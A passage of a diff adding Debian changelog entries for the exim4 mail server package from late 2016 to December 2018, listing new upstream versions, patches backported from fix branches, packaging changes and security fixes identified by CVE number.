+ * New upstream version.
+ + Drop 75_GnuTLS-repeat-lowlevel-read-and-write-operations-whi.patch.
+ + Unfuzz patches.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 31 Dec 2018 13:13:45 +0100
+
+exim4 (4.92~RC3-1) unstable; urgency=low
+
+ * Add 75_GnuTLS-repeat-lowlevel-read-and-write-operations-whi.patch from
+ upstream GIT master, fixing outgoing TLS 1.3.
+ https://bugs.exim.org/show_bug.cgi?id=2359
+ * New upstream version.
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 26 Dec 2018 16:07:52 +0100
+
+exim4 (4.92~RC2-1) experimental; urgency=low
+
+ * New upstream version.
+ + Drop 75_01-Fix-parsing-of-option-type-Kint-integer-stored-in-K-.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 18 Dec 2018 19:20:24 +0100
+
+exim4 (4.92~RC1-1) experimental; urgency=low
+
+ * Update upstream/signing-key.asc from
+ https://ftp.exim.org/pub/exim/Exim-Maintainers-Keyring.asc, adding
+ 96E4754B8F93C1B239F1A95785BCF7AC6735A680 while removing
+ 1F9C181B1E83D2099F02C95AC4F4F94804D29EBA and
+ FAA1C7F9CD077DC4304BC0C885AB833FDDC03262.
+ * New upstream release candidate:
+ + Point watchfile to test subdir.
+ + Update watchfile to handle -RC1 in addition to _RC1.
+ + Drop 75_fixes*.patch.
+ + Unfuzz 32_exim4.dpatch and 90_localscan_dlopen.dpatch
+ + Update configuration from upstream example, except for
+ tls_sni/tls_require_ciphers settings on remote_smtp_smarthost transport:
+ * Enable dns_dnssec_ok.
+ * Set dnssec_request_domains = * on dnslookup and
+ dnslookup_relay_to_domains routers.
+ * Set hosts_try_dane = */dnssec_request_domains = * on remote_smtp
+ transport unless REMOTE_SMTP_DISABLE_DANE is set.
+ * Set multi_domain on remote_smtp_smarthost transport.
+ * Post release updates:
+ + 75_01-Fix-parsing-of-option-type-Kint-integer-stored-in-K-.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 15 Dec 2018 16:24:54 +0100
+
+exim4 (4.91-9) unstable; urgency=low
+
+ * Run "wrap-and-sort --max-line-length=72 --short-indent" and add back
+ autodeleted comments.
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_26-Fix-bad-use-of-library-copying-string-over-itself.patch
+ + 75_fixes_27-Fix-cyrus-sasl-authenticator-for-authenticated_fail_.patch
+ + 75_fixes_28-Avoid-leaving-domain-live-with-bogus-info-during-ser.patch
+ + 75_fixes_29-Fix-AUTH_GSASL-build.patch
+ + 75_fixes_30-Harden-string-list-handling.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 06 Dec 2018 19:19:38 +0100
+
+exim4 (4.91-8) unstable; urgency=low
+
+ [ Andreas Metzler ]
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_18-Restore-Darwin-OS-configuration.patch
+ + 75_fixes_20-Fix-filter-noerror-command.-Bug-2318.patch
+ + 75_fixes_21-DANE-fix-TA-mode-verify-under-GnuTLS.-Bug-2311.patch
+ + 75_fixes_22-Testsuite-track-newer-GnuTLS-behaviour.patch
+ + 75_fixes_24-DANE-ignore-undersized-TLSA-records.patch
+ + 75_fixes_25-Logging-do-not-log-a-missing-proxy-address-on-delive.patch
+
+ [ Marc Haber ]
+ * Move definition of CHECK_RCPT_*_LOCALPARTS macro to acl file proper.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 29 Sep 2018 19:08:52 +0200
+
+exim4 (4.91-7) unstable; urgency=low
+
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_16-Fix-non-EVENTS-build.patch
+ + 75_fixes_17-Fix-cutthrough-delivery-for-more-than-one-iteration-.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 26 Aug 2018 11:33:15 +0200
+
+exim4 (4.91-6) unstable; urgency=low
+
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_13-DKIM-Fix-signing-for-body-lines-starting-with-a-pair.patch
+ + 75_fixes_14-ARC-Fix-verification-to-do-AS-checks-in-reverse-orde.patch
+ + 75_fixes_15-I18N-Fix-protocol-recorded-for-a-multi-SMTPUTF8-mess.patch
+ * [lintian] Do not run mininal testsuite with DEB_BUILD_OPTIONS=nocheck.
+ (override_dh_auto_test-does-not-check-DEB_BUILD_OPTIONS)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 20 Jul 2018 11:21:24 +0200
+
+exim4 (4.91-5) unstable; urgency=medium
+
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_10-Use-serial-number-1-for-self-generated-selfsigned-ce.patch
+ + 75_fixes_11-Fix-logging-of-cmdline-args-when-starting-in-an-unli.patch
+ + 75_fixes_12-ARC-Fix-signing-for-case-when-DKIM-signing-failed.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Jun 2018 18:10:39 +0200
+
+exim4 (4.91-4) unstable; urgency=medium
+
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_06-Cutthrough-fix-race-resulting-in-duplicate-delivery..patch
+ + 75_fixes_07-tidying.patch
+ + 75_fixes_08-ARC-fix-crash-on-signing-with-missing-key-file.patch
+ + 75_fixes_09-Content-scanning-Fix-locking-on-message-spool-files..patch
+ * [lintian] Delete trailing empty lines in changelog.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 17 May 2018 17:14:53 +0200
+
+exim4 (4.91-3) unstable; urgency=medium
+
+ * Update from exim-4_91+fixes branch:
+ + 75_fixes_01-Belated-README.UPDATING-notes-for-Exim-4.91.patch
+ + 75_fixes_02-Avoid-doing-logging-in-signal-handlers.-Bug-1007.patch
+ + 75_fixes_03-Fix-typo-in-arc.-Bug-2262.patch
+ + 75_fixes_04-Fix-OpenSSL-non-OCSP-build.patch
+ + 75_fixes_05-DKIM-enforce-limit-of-20-on-received-DKIM-Signature-.patch
+ + Move 50_localscan_dlopen.dpatch to end of patch series and rename to
+ 90_... to preserve alphanumeric patch ordering.
+ * Add log_message for local blacklists to improve log readability. (Patch by
+ Dominic Hargreaves).
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 28 Apr 2018 14:59:36 +0200
+
+exim4 (4.91-2) unstable; urgency=low
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 21 Apr 2018 10:38:50 +0200
+
+exim4 (4.91-1) experimental; urgency=medium
+
+ * Point watchfile to release directory again and use downloads.exim.org
+ host.
+ * New upstream version.
+ * Tighten b-d on libgnutls28-dev to >= 3.5.7, earlier Debian packages did
+ not ship libgnutls-dane0.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 15 Apr 2018 17:52:05 +0200
+
+exim4 (4.91~RC4-1) experimental; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 09 Apr 2018 19:25:18 +0200
+
+exim4 (4.91~RC3-1) experimental; urgency=medium
+
+ * New upstream version.
+ * Point vcs* to salsa.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 05 Apr 2018 19:43:39 +0200
+
+exim4 (4.91~RC2-1) experimental; urgency=medium
+
+ * New upstream version.
+ Drop 75_01-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 21 Mar 2018 19:25:44 +0100
+
+exim4 (4.91~RC1-1) experimental; urgency=medium
+
+ * Point watchfile to test subdirectory.
+ * New upstream version:
+ + Drop debian/patches/75_*.
+ + Update example.conf.md5.
+ Upstream now enables verify = header_syntax check in default config,
+ mirror this change in Debian, introduce
+ NO_CHECK_DATA_VERIFY_HEADER_SYNTAX macro to override this.
+ * Build with newly available (well, for GnuTLS) DANE support.
+ * Pull 75_01-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch from
+ upstream master, fixing https://bugs.exim.org/show_bug.cgi?id=2250.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 17 Mar 2018 17:41:51 +0100
+
+exim4 (4.90.1-5) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch:
+ 75_15-Pipe-transport-part-two.-Bug-2257.patch
+ 75_16-Fix-spool_wireformat-final-dot-on-LMTP-transport.-Bu.patch
+ 75_17-Cutthrough-enforce-non-use-in-combination-with-DKIM-.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 31 Mar 2018 07:14:31 +0200
+
+exim4 (4.90.1-4) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch:
+ 75_11-DMARC-add-variables-to-list-of-those-now-unused-at-t.patch
+ 75_12-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch
+ 75_13-Unbreak-DMARC.patch
+ 75_14-Fix-pipe-transport-to-not-use-a-socket-only-syscall..patch
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 22 Mar 2018 07:44:05 +0100
+
+exim4 (4.90.1-3) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch:
+ 75_07-Fix-ldap-lookups-for-zero-length-attribute-value.-Bu.patch
+ 75_08-Mark-variables-unused-before-release-of-store-in-the.patch
+ 75_09-Mark-variables-unused-before-release-of-store-in-the.patch
+ 75_10-Mark-variables-that-are-unused-before-release-of-sto.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 16 Mar 2018 18:35:01 +0100
+
+exim4 (4.90.1-2) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch:
+ 75_01-ACL-Enforce-non-usability-of-control-utf8_downconver.patch
+ 75_02-Fix-memory-leak-during-multi-message-reception-using.patch
+ 75_03-OpenSSL-Fix-memory-leak-during-multi-message-connect.patch
+ 75_04-Fix-exim_dbmbuild-to-permit-directoryless-filenames..patch
+ 75_05-OpenSSL-revert-needless-free-of-certificate-list.-Th.patch
+ 75_06-I18N-Fix-utf8_downconvert-propagation-through-a-redi.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 10 Mar 2018 14:25:51 +0100
+
+exim4 (4.90.1-1) unstable; urgency=high
+
+ * New upstream version, fixing CVE-2018-6789. Closes: #890000
+ + Drop 75_*.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 10 Feb 2018 13:45:40 +0100
+
+exim4 (4.90-7) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch. (exim-4.90.0.27)
+ + 75_21-DKIM-fix-buffer-overflow-in-verify.patch
+ + 75_22-Repair-Heimdal-GSSAPI-authenticator-init.patch
+ + 75_23-Repair-Heimdal-GSSAPI-authenticator-init-part-2.patch
+ * Typo fixes in old patch descriptions. (Thanks, lintian!)
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 10 Feb 2018 13:13:37 +0100
+
+exim4 (4.90-6) unstable; urgency=medium
+
+ * Update from exim-4_90+fixes branch.
+ + 75_17-Cutthrough-fix-for-port-number-defined-by-router.-Bu.patch
+ + 75_18-GnuTLS-fix-to-ignore-timeout-on-unrelated-callout-co.patch
+ Closes: #887489
+ + 75_19-Build-.git-may-be-a-file-when-this-repo-is-a-submodu.patch
+ + 75_20-Debugging-fix-potential-null-derefs-in-DSN-debug_pri.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 07 Feb 2018 19:37:03 +0100
+
+exim4 (4.90-5) unstable; urgency=low
+
+ * Add 75_16-Cutthrough-fix-multi-message-initiating-connections.patch from
+ exim-4_90+fixes branch.
+ * Improved exim4-daemon-custom documentation by Gedalya. Closes: #887971
+ * [update-exim4.conf] stop converting variables set to an empty value in
+ /etc/exim4/update-exim4.conf.conf to exim macros with a literal value of
+ "empty" in the generated configuration. Thanks, Gedalya. Closes: #887972
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 27 Jan 2018 17:00:42 +0100
+
+exim4 (4.90-4) unstable; urgency=low
+
+ * Update from exim-4_90+fixes branch.
+ 75_13-Lookups-fix-mysql-lookup-returns-for-no-data-queries.patch
+ 75_14-Fix-D-string-expansion-to-not-use-millisec.patch
+ 75_15-DKIM-DNS-records-having-no-v-tag-are-acceptable.-Bug.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 20 Jan 2018 08:00:45 +0100
+
+exim4 (4.90-3) unstable; urgency=medium
+
+ * Three more patches from exim-4_90+fixes branch:
+ 75_10-Fix-issue-with-continued-connections-when-the-DNS-sh.patch
+ 75_11-MIME-ACL-fix-SMTP-response-for-non-accept-result-of-.patch
+ 75_12-DKIM-permit-dkim_private_key-to-override-dkim_strict.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 08 Jan 2018 18:55:28 +0100
+
+exim4 (4.90-2) unstable; urgency=medium
+
+ * Update to exim-4_90+fixes branch:
+ + Replace 75_Lookups-fix-pgsql-multiple-row-single-column-return.patch.
+ + 75_01-TLS-Fix-excessive-calling-of-smtp_auth_acl-under-AUT.patch
+ + 75_02-TLS-avoid-calling-smtp_auth_acl-on-client-cert-when-.patch
+ + 75_03-Debug-fix-coding-in-dnssec-reporting.-Bug-2205.patch
+ + 75_04-DKIM-Ignore-non-DKIM-TXT-records-in-DNS-response.-Bu.patch
+ + 75_05-Fix-build-of-nisplus-lookup.patch
+ + 75_06-Fix-const-issue-in-nisplus-lookup.patch
+ + 75_08-DKIM-tighter-checking-while-parsing-signature-header.patch
+ + 75_09-Fix-crash-associated-with-dnsdb-lookup-done-from-DKI.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 30 Dec 2017 15:43:52 +0100
+
+exim4 (4.90-1) unstable; urgency=low
+
+ * rc4 released as 4.90.
+ * Point watchfile to release directory again.
+ * 75_Lookups-fix-pgsql-multiple-row-single-column-return.patch from upstream
+ GIT master branch. Fix pgsql lookup for multiple result-tuples with a
+ single column. Previously only the last row was returned.
+ https://lists.exim.org/lurker/message/20171223.102237.a53dd5bd.en.html
+ * Simplify debian/rules and make it usable with dh v10 compat. The
+ fine-grained support for selecting the to be built packages (-custom with
+ or without -base) was dropped. The build process is now controlled by
+ attaching tasks to dh-override hooks instead of using file dependencies,
+ makefile-style. The latter broke with dh v10 due to upstream's
+ build-system which always has the main targets out-of-date inter alia due
+ to the compile-number feature.
+ * Use hardening=+all instead of hardening=+bindnow,+pie. (Does not change
+ buildflags ATM.)
+ * Use debhelper v10 compat.
+ * Drop override_dh_strip-arch, we have had enough toolchain and
+ source changes to prevent file conflicts.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 28 Dec 2017 13:42:23 +0100
+
+exim4 (4.90~RC4-1) unstable; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 14 Dec 2017 18:11:40 +0100
+
+exim4 (4.90~RC3-2) unstable; urgency=low
+
+ * Upload to unstable.
+ * Point homepage to https URL.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 02 Dec 2017 17:37:13 +0100
+
+exim4 (4.90~RC3-1) experimental; urgency=medium
+
+ * New upstream version.
+ + Fix a use-after-free while reading smtp input for header lines.
+ A crafted sequence of BDAT commands could result in in-use memory
+ being freed. CVE-2017-16943. Closes: #882648
+ + Fix checking for leading-dot on a line during headers reading
+ from SMTP input. Previously it was always done; now only done for
+ DATA and not BDAT commands. CVE-2017-16944 Closes: #882671
+ * Drop 78_Disable-chunking-BDAT-by-default.patch again.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 01 Dec 2017 19:14:08 +0100
+
+exim4 (4.90~RC2-3) experimental; urgency=medium
+
+ * As a workaround for the yet-unfixed security vulnerability resurrect (and
+ adapt for 4.90) 78_Disable-chunking-BDAT-by-default.patch (dropped in
+ 4.89-4) to disable both incoming and outgoing BDAT/CHUNKING. #882648
+ https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 12:01:40 +0100
+
+exim4 (4.90~RC2-2) experimental; urgency=low
+
+ * B-d on lynx, instead of lynx-cur | lynx.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 17 Nov 2017 17:03:10 +0100
+
+exim4 (4.90~RC2-1) experimental; urgency=low
+
+ * New upstream release candidate.
+ + Unfuzz patches, drop 40_reproducible_build.diff and
+ 75_fix_ftbfs_SOURCE_DATE_EPOCH.diff.
+ + Refresh debian/example.conf.md5, No changes to Debian's configuration
+ needed, upstream added a (commented) entry to change OpenSSL ciphers.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 16 Nov 2017 19:40:35 +0100
+
+exim4 (4.90~RC1-1) experimental; urgency=low
+
+ * New upstream release candidate.
+ + Point watchfile to test subdirectory.
+ + Update 40_reproducible_build.diff
+ + Drop 75_fixes*.patch and
+ 80_Repair-manualroute-transport-name-not-last-option.patch.
+ + Unfuzz EDITME*.diff
+ + 75_fix_ftbfs_SOURCE_DATE_EPOCH.diff Fix build-error when
+ SOURCE_DATE_EPOCH is set.
+ * Drop trailing whitespace in debian/README.source, debian/changelog and
+ debian/rules. (Thanks, lintian)
+ * Drop debian/README.source and outdated parts of debian/copyright.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 29 Oct 2017 10:52:30 +0100
+
+exim4 (4.89-13) unstable; urgency=high
+
+ * 75_fixes_21-Chunking-do-not-treat-the-first-lonely-dot-special.-.patch
+ from exim-4_89+fixes branch. Closes: #882671 CVE-2017-16944
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 29 Nov 2017 19:30:37 +0100
+
+exim4 (4.89-12) unstable; urgency=high
+
+ * Sync with exim-4_89+fixes branch:
+ + 75_fixes_19-Fix-mariadb-mysql-macro-confusion.patch
+ + 75_fixes_20-Avoid-release-of-store-if-there-have-been-later-allo.patch
+ Closes: #882648 (use-after-free, remote-code-execution) CVE-2017-16943
+ * Update EDITME* for 75_fixes_19-Fix-mariadb-mysql-macro-confusion.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 28 Nov 2017 20:04:23 +0100
+
+exim4 (4.89-11) unstable; urgency=critical
+
+ * B-d on lynx, instead of lynx-cur | lynx.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 13:02:43 +0100
+
+exim4 (4.89-10) unstable; urgency=critical
+
+ * As a workaround for the yet-unfixed security vulnerability resurrect
+ 78_Disable-chunking-BDAT-by-default.patch (dropped in 4.89-4) to disable
+ both incoming and outgoing BDAT/CHUNKING. #882648
+ https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 11:43:24 +0100
+
+exim4 (4.89-9) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 27 Oct 2017 19:23:25 +0200
+
+exim4 (4.89-8) experimental; urgency=low
+
+ * Sync with exim-4_89+fixes branch:
+ 75_fixes_17-Fix-queue_run_in_order-to-ignore-the-PID-portion-of-.patch
+ 75_fixes_18-Use-safer-routine-for-possibly-overlapping-copy.patch
+ * Point watchfile to https site.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 23 Oct 2017 19:14:24 +0200
+
+exim4 (4.89-7) unstable; urgency=low
+
+ * In debian/rules' manually called update-mtaconflicts target use
+ grep-aptavail instead of hard-coding /var/lib/apt/lists/.
+ (Thanks, Julian Andres Klode) Closes: #874772
+ * Update debian/mtalist.
+ * Sync with exim-4_89+fixes branch:
+ 75_fixes_13-Document-CVE-assignment-for-Berkeley-DB-issue.patch
+ 75_fixes_14-DKIM-fix-signing-bug-induced-by-total-size-of-parame.patch
+ 75_fixes_15-SOCKS-fix-unitialized-pointer.patch
+ 75_fixes_16-Fix-crash-in-transport-on-second-smtp-connect-fail-f.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 27 Sep 2017 07:35:23 +0200
+
+exim4 (4.89-6) unstable; urgency=medium
+
+ * Use "runuser --command ..." instead of "su - --command ..." in
+ exim4-base.cron.daily to avoid invoking pam_systemd. Closes: #871688
+ (Thanks, Jakobus Schürz)
+ * Sync priorities with override file: exim4{,-base,-config,-daemon-light}
+ optional from standard, exim4-dev optional from extra.
+ * In debian/rules when setting up the build-tree for -custom also copy
+ EDITME.eximon to allow building based on EDITME.exim4-light with eximon
+ building *not* disabled. (Thanks, Marko von Oppen) Closes: #783813
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Sep 2017 15:29:39 +0200
+
+exim4 (4.89-5) unstable; urgency=medium
+
+ * Update to exim-4_89+fixes branch:
+ 75_fixes_01-Start-exim-4_89-fixes-to-cherry-pick-some-commits-fr.patch
+ 75_fixes_02-Cleanup-prevent-repeated-use-of-p-oMr-to-avoid-mem-l.patch
+ (replaces 79_CVE-2017-1000369.patch)
+ 75_fixes_03-Fix-log-line-corruption-for-DKIM-status.patch (replaces
+ 81_Fix-log-line-corruption-for-DKIM-status.patch)
+ 75_fixes_04-Openssl-disable-session-tickets-by-default-and-sessi.patch
+ 75_fixes_05-Transport-fix-smtp-under-combo-of-mua_wrapper-and-li.patch
+ 75_fixes_07-Openssl-disable-session-tickets-by-default-and-sessi.patch
+ 75_fixes_08-Transport-fix-smtp-under-combo-of-mua_wrapper-and-li.patch
+ 75_fixes_09-Use-the-BDB-environment-so-that-a-database-config-fi.patch
+ (CVE-2017-10140)
+ 75_fixes_10-Fix-cache-cold-random-callout-verify.-Bug-2147.patch
+ 75_fixes_11-On-callout-avoid-SIZE-every-time-but-noncacheable-rc.patch
+ 75_fixes_12-Fix-build-for-earlier-version-Berkeley-DB.patch
+ * Simplify debian/rules by including buildflags.mk unconditionally which was
+ introduced in dpkg 1.16.1 released in October 2011.
+ * Use pkg-info.mk to get package-version, upstream-version and
+ SOURCE_DATE_EPOCH. For the latter fall back to current time if it is not
+ provided by pkg-info.mk.
+ * [lintian] In *daemon.postinst use which certtool instead of
+ [ -x /usr/bin/certtool ] to check for availablility of the command.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 10 Aug 2017 10:17:05 +0200
+
+exim4 (4.89-4) unstable; urgency=low
+
+ * 80_Repair-manualroute-transport-name-not-last-option.patch from GIT
+ master: Starting with 4.85 a transport name needed to specified after
+ options in route_list. Closes: #865287
+ * Add 81_Fix-log-line-corruption-for-DKIM-status.patch from GIT master.
+ * Drop 78_Disable-chunking-BDAT-by-default.patch, enable BDAT/Chunking by
+ default.
+ * Standards-Version: 4.0.0
+ + Do not check for availability of invoke-rc.d, use it always and do not
+ fall back to invoking the init-script directly.
+ + Drop eximon menu file.
+ * Migrate to automatic debug packages. Bump b-d on debhelper since
+ --dbgsym-migration was introduced in debhelper 9.20160114.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 15 Jul 2017 12:46:16 +0200
+
+exim4 (4.89-3) unstable; urgency=high
+
+ * Re-upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 19 Jun 2017 18:51:13 +0200
+
+exim4 (4.89-2+deb9u1) stretch-security; urgency=medium
+
+ * CVE-2017-100369
+
+ -- <jmm@debian.org> Wed, 14 Jun 2017 07:03:07 +0200
+
+exim4 (4.89-2) unstable; urgency=medium
+
+ * Revert addition of header "# pidfile: /var/run/exim4/exim.pid" to
+ initscript (#844178). It breaks when the initscript does not start a
+ daemon but only runs update-exim4.conf. (inetd or QUEUERUNNER='nodaemon').
+ Closes: #860317
+ * When reporting bugs also attach /etc/default/exim4 by default.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 20 Apr 2017 17:14:04 +0200
+
+exim4 (4.89-1) unstable; urgency=medium
+
+ * Enable inbound (server-side) proxying for -heavy. Closes: #856712
+ * New upstream release, source identical to RC7.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 09 Mar 2017 17:49:47 +0100
+
+exim4 (4.89~RC7-1) unstable; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 01 Mar 2017 18:37:18 +0100
+
+exim4 (4.89~RC6-1) unstable; urgency=medium
+
+ * Document E4BCD_PANICLOG_LINES in README.Debian.
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 23 Feb 2017 18:24:33 +0100
+
+exim4 (4.89~RC5-1) unstable; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 13 Feb 2017 19:04:46 +0100
+
+exim4 (4.89~RC4-1) unstable; urgency=medium
+
+ * New upstream version.
+ + Drop 92_CVE-2016-1238.diff.
+ * Use /run/exim4/ instead of legacy directory /var/run/exim4 for pidfile
+ while we are changing the init script.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 12 Feb 2017 15:28:09 +0100
+
+exim4 (4.89~RC3-1) unstable; urgency=medium
+
+ * New upstream version.
+ + Unfuzz 92_CVE-2016-1238.diff.
+ * init file:
+ + Source /etc/default/exim4 *before* defining the shell
+ variables holding the pidfilenames. Overriding these via
+ /etc/default/exim4 is not supported.
+ + Add missing support for reload when QUEUERUNNER='queueonly'.
+ + For QUEUERUNNER='queueonly' use $PIDFILE instead of $QRPIDFILE. This way
+ $PIDFILE is used for the main exim process for all available QUEUERUNNER
+ choices.
+ + Add header "# pidfile: /var/run/exim4/exim.pid" for improved systemd
+ interaction. systemd-sysv-generator uses this pseudoheader to set
+ PIDFile in the generated service file and it also sets
+ RemainAfterExit=no instead of yes if it is present. Thanks, Michael
+ Biebl for suggestion and explanation. Closes: #844178
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 10 Feb 2017 19:08:52 +0100
+
+exim4 (4.89~RC2-1) unstable; urgency=medium
+
+ * New upstream version.
+ + Drop 75_add_bak_spec.txt.diff.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 04 Feb 2017 15:24:44 +0100
+
+exim4 (4.89~RC1-1) unstable; urgency=low
+
+ * Refresh debian/upstream/signing-key.asc.
+ * New upstream bugfix release.
+ + Drop superfluous patches.
+ 75_00_DKIM-More-validation-of-DNS-key-record.-Bug-1926.patch
+ 75_01_DKIM-Under-debug-when-signing-do-an-extra-check-on-t.patch
+ 75_02_Do-not-call-ldap_start_tls_s-on-ldapi-connections.patch
+ 75_03_PROXY-fix-v2-protocol-decode.-Bugs-2003-1747.patch
+ 75_04_CHUNKING-fix-non-pipelined-synch-checks.-Bug-2004.patch
+ + Unfuzz 31_eximmanpage.dpatch and
+ 78_Disable-chunking-BDAT-by-default.patch.
+ + Add 75_add_bak_spec.txt.diff - spec.txt and filter.txt missing in rc
+ tarball.
+ + Unfuzz debian/EDITME.exim4-*.
+ + Update debian/example.conf.md5. - Upstream typo fix.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 31 Jan 2017 19:52:50 +0100
+
+exim4 (4.88-5) unstable; urgency=medium
+
+ * 78_Disable-chunking-BDAT-by-default.patch: Change default value of main
+ option chunking_advertise_hosts and smtp transport option
+ hosts_try_chunking from "*" to empty.
+ This is a Debian specific change, we are right before the freeze and BDAT
+ needs a little time.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 19 Jan 2017 19:18:15 +0100
+
+exim4 (4.88-4) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 07 Jan 2017 14:38:00 +0100
+
+exim4 (4.88-3) experimental; urgency=medium
+
+ * Pull multiple patches from upstream GIT:
+ + 75_00_DKIM-More-validation-of-DNS-key-record.-Bug-1926.patch,
+ 75_01_DKIM-Under-debug-when-signing-do-an-extra-check-on-t.patch
+ + 75_02_Do-not-call-ldap_start_tls_s-on-ldapi-connections.patch
+ + 75_03_PROXY-fix-v2-protocol-decode.-Bugs-2003-1747.patch
+ + 75_04_CHUNKING-fix-non-pipelined-synch-checks.-Bug-2004.patch
+ (Thanks, Bart Noordervliet for the pointer) Closes: #850175
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 06 Jan 2017 17:32:20 +0100
+
+exim4 (4.88-2) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 27 Dec 2016 17:36:29 +0100
+
+exim4 (4.88-1) experimental; urgency=medium
+
+ * New upstream version.
+ * Upload to experimental, let (almost identical) 4.88~RC6-2 propagate to
+ testing.
+ * Drop 75_Fix-DKIM-information-leakage.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 25 Dec 2016 18:07:12 +0100
+
+exim4 (4.88~RC6-2) unstable; urgency=high
+
+ * Add macro IGNORE_SMTP_LINE_LENGTH_LIMIT to allow disabling the SMTP DATA
+ physical line limit check for both for SMTP DATA ACL and remote_smtp*
+ transports. Closes: #828801
+ Also update corresponding NEWS entry.
+ * [lintian] debian/changelog: s/lenght/length/
+ * Pull 75_Fix-DKIM-information-leakage.patch from upstream GIT, fixing DKIM
+ information leakage issue CVE-2016-9963.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 22 Dec 2016 16:50:21 +0100
+
+exim4 (4.88~RC6-1) unstable; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 08 Dec 2016 07:19:18 +0100
+
+exim4 (4.88~RC5-1) unstable; urgency=low
+
+ * New upstream version.
+ + Drop 75_01-Ensure-socket-is-nonblocking-before-draining.diff.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 19 Nov 2016 17:43:51 +0100
+
+exim4 (4.88~RC4-2) unstable; urgency=low
+
+ * Pull 75_01-Ensure-socket-is-nonblocking-before-draining.diff from upstream
+ GIT to fix exim bug 1914 (exim doesn't close connection after quit.
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 12 Nov 2016 07:26:14 +0100
+
+exim4 (4.88~RC4-1) experimental; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 07 Nov 2016 19:08:47 +0100
+
+exim4 (4.88~RC3-1) experimental; urgency=medium
+
